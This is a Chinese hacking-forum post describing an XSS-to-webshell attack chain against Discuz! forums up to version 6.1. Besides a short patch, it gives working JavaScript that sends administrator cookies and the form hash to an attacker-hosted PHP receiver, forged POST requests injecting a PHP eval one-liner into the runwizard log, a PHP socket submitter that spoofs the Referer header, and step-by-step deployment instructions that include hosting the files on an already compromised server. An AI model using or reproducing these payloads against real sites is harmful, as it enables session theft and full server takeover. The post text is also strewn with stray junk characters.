Discuz XSS得webshell
: f% _( J$ `$ l5 d) O3 Z1 QBy racle @tian6.com
- |, Y8 X9 g( V- g; i欢迎转帖.但请保留版权信息.+ E$ y$ P( I j) Q; Z
受影响版本 iscuz<=6.1.0,gbk+utf+big5
$ Z9 G$ @% ]$ N% d( f+ R# x' o4 |/ b; N% y
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
4 J0 O" r0 b- N8 s, x$ M* B" L/ ?' e' G" |1 |4 c0 W
6 \8 e" ^9 U7 ?! s4 b& Z/ D
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706! O. R# H. r: m! D
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
4 k, O! u% I: o: g0 l8 t) R# z! p- l I- u! P7 h& A
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..( f9 u- A1 D/ z& ^$ ]' B5 r
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
5 {. W' u$ U, v7 z# _* M, d( U
' u) M! \5 X2 y$ |* L+ v) P6 A4 ~' ^8 o* m. k7 z' ~/ Q
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------1 E% n. y/ a5 T3 {( G& n9 d2 G
, ^" [4 D) X5 A/ {8 S
2 |0 }( C! F# b- Wproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.& U' H/ h j$ V8 h
5 K& c: s' e) d, s7 W1 ]& W
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
1 m. b/ O/ h1 h
" v: r, b7 n7 | U7 a$ I$ ?problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.! L" f2 @) h5 H4 E3 y m, G7 L0 i
& t: S# p' t9 A
$ `7 I6 B3 f( y% _; W下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
. U- |! u: J9 `9 q" {
5 x8 O- R, N/ P* @1 `7 Y. ? global $runwizardfile, $runwizardhistory;( v8 u' o1 {. D0 ?! \
; I" J% _/ f2 M $fp = fopen($runwizardfile, 'w');0 g5 U7 s& E7 [, q" [# g
' M( R6 g! U, e8 E% ^" S fwrite($fp, serialize($runwizardhistory));
/ m! m) M3 Y! p) [. o2 A+ w$ { ?. I3 V) I- j
fclose($fp);* U0 l( E! O- [; @# U
2 C) Z3 }3 R9 f) w0 q}
! |; M' s" p: [( i3 ^" m复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里." u) J4 b3 p+ i# y
以下是修补的办法:function saverunwizardhistory() {
7 Y7 N# S# R# V; Q1 A( G! W0 m4 z; i% n7 B/ H9 }0 m
global $runwizardfile, $runwizardhistory;1 b1 L* r8 H& ^- B. g
# L0 T F$ d& V' j; H
$fp = fopen($runwizardfile, 'w');
) V+ D8 i+ d) w( H# `
' g8 r3 k6 j, B; d. a: R/ p $s = '<?php exit;?>';
# G. e B; I' W* w! Z1 u- m8 B7 `7 \! s; y: g% f; {+ x% G
$s .= serialize($runwizardhistory);9 p, L- U" ~8 ~7 o
& H+ z2 l7 [3 b; Q% k0 m& O
fwrite($fp, $s);
& {0 |1 `$ ^5 d A& u8 A3 }6 V5 g: [2 c
fclose($fp);1 c+ M d6 m9 `3 t9 Y
- T) z b- B1 J; P
}
, v6 g( ~; Y# u- y9 q复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.& W# v' S& g( e( f& F6 h5 }6 I6 u
' n+ g. Y) L( `3 L3 K+ x7 l4 H/ @, N4 E; a$ i: P: j
7 H5 x8 {& [7 h" R2 [0 d& K
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
# N- u' B8 V* V
; W9 _, C x, ~8 [3 J* l! ^+ b% x* @+ l) w! v0 K
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
5 ]# B' w0 G- ~1 A6 @# _4 p% a% z. Y# y' A+ ^
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.. l n$ Q$ r' I1 g6 J
- X e. n# ~& X7 k& r
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少., ?' E4 K$ j1 }$ m: {
* v3 x/ N8 N. \9 K, y" g
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:- I; Z% @) H4 L
$ K6 r$ |2 ?5 M% Q/ B5 Dvar url="http://目标网站/admincp.php"; 7 h Y+ P& \5 [/ R$ z2 f
9 T2 p f2 G0 U: \
/*获得cookies*/, N; h9 j9 c+ M( C1 ~
+ d. _: F" u- ~6 L0 Ufunction getURL(s) {2 t, c- `& X* x5 G& B+ _8 ^
+ I, c- b* W7 _$ B5 Jvar image = new Image();; p( G9 L4 l# y; q6 r+ |. @+ |$ E0 s
+ @/ S; A. H. @# M9 W% M) B. {
image.style.width = 0;
: S- e, N% D* o; G
7 @1 m8 R- e7 M' }image.style.height = 0;( F/ b# Z1 J8 \5 @( G+ c3 b
% O# E" g8 U$ s/ u" _, f1 Y6 h$ d! nimage.src = s;
3 b: _- C) d: T$ x$ T F$ r' [1 S7 K0 R J$ {! B* E0 Q
} T9 B1 ]: L* f- p9 v8 {
6 v$ J5 y8 S$ E1 t
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
4 @2 A7 W8 G1 _+ z; N复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
+ }/ r& [6 U6 @, b9 |, s U& q复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) / `5 \) `( k: O E- E# [$ R1 u
* |: |4 ~0 O4 F8 }1 A
s& B. e' ^' ?2 p( |1 p
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
/ c% p6 f* ?* g2 k, J) a% g
2 \3 H8 D4 O" w* i0 T' G9 \& t( Y# |+ |. [6 z v) F0 b
0 a" ~. c( W4 O9 C3 l0 b
/*hash*/2 m/ d t6 e7 F- {/ b3 t7 M1 t
5 j0 p( U# z9 y* [var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");/ L* i* G$ g; u# ?' u$ t
2 r0 B7 w7 F+ }9 k) \7 x
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
4 L7 u2 U- g7 O9 w
# ^2 Y7 t ]- q {1 D- u( jxmlHttpReq.send();
, f: N) d' o% y* z$ x& O; u- W! J2 [4 E
" r& t' B! X) Q" h$ L+ n& ovar resource = xmlHttpReq.responseText;0 [- y' G2 {' T
" G! s+ ~- a* ]
var numero = resource.search(/formhash/);
/ |5 ]8 V( n- ? F1 B0 f9 H# M6 D7 T! K( C3 _7 i+ p; D
var formhash=encodeURIComponent(resource.substr(numero+17,8));' h' A! K Z4 S" F
* S& K- m9 `0 Q% ~! T0 \
" w2 [8 F- y: c+ t2 b
; b3 _8 Y8 u6 C( d% ?3 nvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 2 i; S$ R$ @. S; a5 _
6 B) D* B: Z% ^& B
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 5 J8 [: K8 m Y4 h3 d
5 j$ b$ ^( ^; K: f# i2 N
xmlHttpReq.setRequestHeader("Referer", url);) Y b" ]% @$ A2 j& ]
- v0 A2 L* X9 c [6 `* ~! p7 k' z* bxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");' w( Q+ d1 u/ Q; T# N' i5 q
: @( ~1 Z0 _& T
xmlHttpReq.setrequestheader("content-length",post.length);
' X& u H( G) n* s& Q T1 a
) U( Z1 t$ H% p" ] E N; ~: ^( GxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
: T% W5 {: O5 H; I0 W8 D9 ~% f0 l
: M+ J R" Q9 K4 k- sxmlHttpReq.send(post);//发送数据4 ?4 V* Y3 N+ T8 B! R6 l4 H
复制代码这里HASH我假设正确,这样提交,也无须cookies- d- I$ s0 _5 l7 O( v
8 a$ U* }, {! i: K% s& r
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);. b$ ]# r2 v7 Y& q% J) O+ h1 W1 q
! U5 b. c! M; _7 g) z: o! S, vif (!$sock) die("$errstr ($errno)\n");6 s4 p) o4 k) {! h/ y6 M4 t5 w8 X
5 q% c Y n2 B( J: H+ B3 a
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';, f7 i9 f7 M! y- B+ ^
+ a% m3 G/ C7 e; L w
6 i( {$ J! U0 W5 \* R7 H/ N: k; M3 K# ]) M( x
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
0 V e! }% @& X: b8 T/ ]- F. k! \% f9 q8 g
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
0 o4 P* R. t) w* w8 x" H
% I9 |5 [3 @2 o) l" F5 @fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
3 e2 H( j2 f" q9 ~
0 B7 S; T6 B! I! E& Cfwrite($sock, "Accept-Language: zh-cn\r\n");
b1 \# y9 M8 y
$ C- H) R; I4 ^fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");/ ]) ]" G2 i- _# m$ U' f
$ c' C/ u1 o' y. c2 @
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");- D0 u. M5 j) z# I3 e% L
]7 ^$ {0 ^7 c$ X8 ]- ?fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
3 L* v0 X4 O" G; D' `1 Z" m; k! x: _" @
fwrite($sock, "Host: $url\r\n");3 Y0 w w5 t+ G$ e' M
+ m# A( B o* U; y
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
8 _' p' k0 t {& {; { D& e) W# W8 j8 O& f: M3 M) J( x
fwrite($sock, "Connection: Keep-Alive\r\n");$ b% ^" U c# {( r3 e
$ ]- R* X. Z, K1 M G+ ^
fwrite($sock, "Cache-Control: no-cache\r\n");/ O% @& @7 x7 c3 v, G* ]! V
4 X2 m( I* g7 z8 k% J, D( V6 p! T
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");' N( g6 S* H7 k6 N) E0 ?8 L' f6 O
`9 h) y/ ?6 Z! Tfwrite($sock, $data);
) J+ O- h. L: i. {7 u: b2 I
0 b, z4 H' ^- j/ c8 @3 u+ w8 C$ s% ^) D
2 r' @$ Q5 Y- Z8 A+ Q! A' J7 y1 j
$headers = "";' K2 z) P, T% U# @2 Z
/ P/ G) k' Z) {# O- r, bwhile ($str = trim(fgets($sock, 4096)))4 \" k4 O+ S1 a2 t' o; }, h- F
' O% c1 w& d- h4 l0 n $headers .= "$str\n";
D$ E1 S! m3 R8 I
+ [" |0 Y) B4 g, {6 vecho "\n";; q0 o4 T$ v9 @
7 C( l0 K c4 @+ S- q
$body = "";6 b( l" B& g$ P/ D
) t3 s& E/ a+ i5 ~ \/ `while (!feof($sock))
% ]! O, b" G/ I! S) y7 G" y
' x5 n3 d$ c$ w6 i $body .= fgets($sock, 4096);
8 |- V b% [$ V4 z; c; |) I$ I; n1 i! p4 [/ f: C
fclose($sock);
& g& C$ R. W( E) j% `4 [& s0 `% C) l
echo $body;% ?' S' ?' `& t0 e; p
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^ O2 Q4 [8 M; ~+ x
$ o0 }; e1 i( e, S
u6 L% A* @4 q; ^ n y2 Y9 r
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------. @0 g$ N; l2 }8 J* [0 ~
) L y1 c9 _# k" q* Y5 Q+ g) `2 y% s, E) h3 K' P: ^
1 HP SOCKET利用方法首先打开racle.js
- {- x9 X3 H ^0 ?3 D
) L! h6 C2 t& ~+ k9 ?. x9 U/ m& jvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home+ _% E6 i$ O2 n2 }$ o6 E' u
& d% ?+ |/ [' W% h
% E$ ]6 b) g. [: d' w+ W' s5 n; h
+ A* p5 n+ r' e5 B; x, {6 Y8 Q& B
然后打开racle@tian6.php
% ~; O! ^/ q3 t) B& J' E) m% ~: T
( q- ?$ Y; Y) A$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com' J6 U# w4 z: w J
9 x- C, B. \% U# U- e
1 [$ I' R3 V. L# D8 l3 d* C4 i) T; b% }
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
7 s' v( X. Y$ _4 }7 e& B
6 O6 u: J" @# D/ z% V+ [# JgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
. r) |# f# q4 C2 _3 n8 Q
# v, c# u( z7 e* |% x9 i' E为2 U. M' Z9 o) N3 ^9 @. R
" l/ t3 w6 \' c- }2 B
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));- h2 m; [; U3 r' F
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
) _6 [! g' J4 c/ n$ g
6 c6 |& ?, ?# C- q4 {1 F
* R) D/ _: W# }
7 D7 X8 z2 [) j' H6 K- i7 p如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:) [- O, j& ]: L7 r( \" l% }% `
5 e; c6 F. W7 }, w) B3 @var formhash=encodeURIComponent(resource.substr(numero+17,8));
5 A- ?+ J* q! H* E5 \. C$ f+ }: ^ |3 t1 Y+ _ m* H6 T4 H
为" s7 Q1 s% M& A i
/ a5 n' U* M. Rvar formhash=encodeURIComponent(resource.substr(numero+9,8));" `( {% E& D1 G
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.3 T- \8 W* h+ F, [0 s
& z# ~4 L d6 e, M& ~5 I如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
& j3 o0 }, z |7 D' ]2 t- |
2 G& c/ Y# L5 {如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.! b$ W1 B( @. Q2 K. i+ m
' I3 u) J- q) T% _. c
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
4 H5 ]6 j& l$ S8 e2 A ( W* s& V; c* |5 t% F( z7 S
|